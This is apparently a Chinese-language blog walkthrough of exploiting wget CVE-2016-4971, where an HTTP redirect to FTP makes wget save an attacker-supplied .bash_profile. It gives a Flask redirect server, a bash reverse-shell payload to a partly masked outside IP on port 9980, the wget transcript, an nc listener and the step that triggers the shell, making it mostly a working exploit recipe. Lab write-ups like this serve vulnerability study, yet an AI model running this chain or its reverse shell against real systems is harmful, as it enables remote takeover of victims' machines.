Wget漏洞(CVE-2016-4971)

参考:http://www.freebuf.com/vuls/107206.html

wget 作为 linux 系统常用下载工具,支持http、https、ftp 等多种协议,当使用wget 下载文件时,若初始下载http服务提供的下载资源, 如果服务器将下载资源重定向到ftp服务时,wget 会默认信赖http服务器重定向的ftp 链接地址和文件名,而不做二次验证。从而可能下载到恶意钓鱼者的恶意文件,导致主机被入侵。

查看wget版本

1
2
[root@localhost ~]# wget --version
GNU Wget 1.12 built on linux-gnu.

搭建ftp

在本机 (192.168.100.128)主机上开启ftp服务,且将攻击payload (bash -i >& /dev/tcp/74.207.xxx.xxx/9980 0>&1) 写入ftp服务中的.bash_profile 文件中。

搭建服务并302跳转

kali(192.168.3.54)上搭建服务器跳转到ftp服务器 ftp://192.168.100.128/.bash_profile

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/noharm.txt")
def test():
return redirect("ftp://192.168.100.128/.bash_profile")

if __name__ == "__main__":
app.run(host="0.0.0.0",port=80)

用wget下载文件

下载 192.168.3.54/noharm.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@localhost test]# wget 192.168.3.54/noharm.txt
--2016-06-22 09:47:17-- http://192.168.3.54/noharm.txt
Connecting to 192.168.3.54:80... connected.
HTTP request sent, awaiting response... 302 FOUND
Location: ftp://192.168.100.128/.bash_profile [following]
--2016-06-22 09:47:17-- ftp://192.168.100.128/.bash_profile
=> “.bash_profile”
Connecting to 192.168.100.128:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .bash_profile ... 23
==> PASV ... done. ==> RETR .bash_profile ... done.
Length: 23 (unauthoritative)

100%[========================================================================>] 23 --.-K/s in 0s

2016-06-22 09:47:17 (718 KB/s) - “.bash_profile” saved [23]

在kali监听9980 端口

1
root@kali:~# nc -l -p 9980

重启时会触发.bash_profile文件中的恶意代码执行

1
[root@localhost ~]# source .bash_profile

效果

打赏
0%